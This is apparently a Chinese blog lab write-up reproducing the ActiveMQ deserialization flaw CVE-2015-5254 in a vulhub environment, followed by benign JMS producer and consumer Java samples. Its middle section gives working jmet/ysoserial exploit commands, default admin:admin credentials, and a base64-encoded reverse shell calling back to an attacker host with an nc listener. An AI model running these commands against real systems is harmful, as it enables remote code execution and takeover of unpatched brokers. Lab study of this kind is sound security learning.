ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞原理

  1. 漏洞介绍

    Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

    MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在
    合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。

    • 队列:消息存在队列中,发送和接收都是异步的
    • 主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式

    MQ解决的问题:

    • 解耦:新模块接入时,代码改动最小
    • 消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮
    • 异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力

    产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ

  2. 影响版本:Apache ActiveMQ version 5.13.0以前的5.x版本。

  3. 漏洞原因:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

  4. 利用工具

​ 反弹shell:https://www.revshells.com/ (自带base64编码)

​ base64:https://base64.supfree.net/ (别用,辣鸡!!!) or http://tools.jb51.net/tools/base64_decode-utf8.php

​ jmet:https://github.com/matthiaskaiser/jmet

  1. 利用限制
  • ActiveMQ版本不高于5.13.0
  • 利用该漏洞上传payload需要人为触发才能执行,大概意思是需要执行该漏洞上传的payload才行
    • 一种选择是该组件存在弱口令密码,可以使攻击者直接进入管理后台执行,执行payload的时间由攻击者掌握;
    • 第二种选择就是该组件的管理员在进行后台管理时触发了payload,但这样执行payload的时间由管理员掌握

靶机实操

漏洞环境

ssh 连接靶场,进入靶场目录,打开该漏洞环境,并启动。

cd /mnt/vulhub-master
cd /activemq/CVE-2015-5254
docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

实验配置

靶机地址:192.11.23.2:8161

攻击机:192.11.23.234(kali)

复现过程

漏洞利用过程如下:

  1. 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
  2. 将序列化对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面,读取消息,触发漏洞(ActiveMQ Web管理页面默认账号密码是admin:admin)

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

ysoserial是一款java反序列化利用工具。

(1)kali上执行命令

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.11.23.2 61616

-Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口 所以这条命令是使用ROME payload把 执行 touch /success 命令序列化后作为名为myevent的消息发送给ActiveMQ

执行此处命令后会给目标ActiveMQ加一个名为event的队列,可通过点击事件,触发远程命令.
ActiveMQ 反序列化漏洞(CVE-2015-5254)_第1张图片

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第2张图片

此时只要在控制台点击查看该消息,就会在apache-activemq-5.11.1/tmp下面新建一个名为sucess的文件(如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功)

(2)点击查看消息

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第3张图片

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第4张图片

(3)进入靶机bash

docker-compose exec activemq bash
cd /tmp
ls

在这里插入图片描述

如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功

(4)反弹shell

去前面提到的在线反弹shell生成网站,生成一个反弹shell代码。

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第5张图片

sh -i >& /dev/tcp/192.11.23.234/9001 0>&1

再进行base64加密:

c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx(错的)
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=

得到反弹shell的命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.11.23.2 61616
  • 首先,在kali开启监听:nc -lvnp 9001(命令在反弹shell 网站右边)
  • 其次,在kali上再开一个终端,执行最终的反弹shell命令。

我弹了100遍也没弹过来,一定是靶场问题(甩锅.jpg)


ps,后面发现原因,base64编码错误,有的网站会先url编码后,再base64.导致结果错误,payload不执行。(ref)

原payload

sh -i >& /dev/tcp/192.11.23.234/9001 0>&1

经过那个sb网站的base64(错误编码):

c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx

上其他网站解码:

sh%20-i%20%3E%26%20/dev/tcp/192.11.23.234/9001%200%3E%261

发现它对payload,先进行了url编码,再进行base64编码,导致payload不能执行。


修正payload后,成功弹回shell。

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第6张图片

JAVA源代码测试ActiveMQ

https://blog.csdn.net/weixin_44232093/article/details/124849400

https://www.cnblogs.com/sallyzhang/p/12289983.html

生产者产生消息,加入队列

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsProduce {

    public static final String ACTIVEMQ_URL="tcp://192.11.23.2:61616";
    public static final String QUEUE_NAME="queue01";

    public static void main(String[] args) throws JMSException {

        //采用默认用户名和密码
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageProducer messageProducer = session.createProducer(queue);
        //使用messageProducer生产3条消息发送到MQ队列
        for (int i=0;i<3;i++){
            TextMessage textMessage=session.createTextMessage("msg----"+i);
            messageProducer.send(textMessage);
        }

        messageProducer.close();
        session.close();
        connection.close();

        System.out.println("******消息发布到MQ完成******");
    }
}

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第7张图片

消费者从队列中读取消息:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsConsumer {

    public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
    public static final String QUEUE_NAME = "queue01";

    public static void main(String[] args) throws JMSException {

        //采用默认用户名和密码
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageConsumer messageConsumer = session.createConsumer(queue);
        while (true) {

            TextMessage textMessage = (TextMessage) messageConsumer.receive();
            if (textMessage != null) {
                System.out.println("******接收道消息:" + textMessage.getText());
            } else {
                break;
            }
        }

        messageConsumer.close();
        session.close();
        connection.close();
    }
}

ActiveMQ 反序列化漏洞(CVE-2015-5254)_第8张图片

你可能感兴趣的:(vulhub,1024程序员节)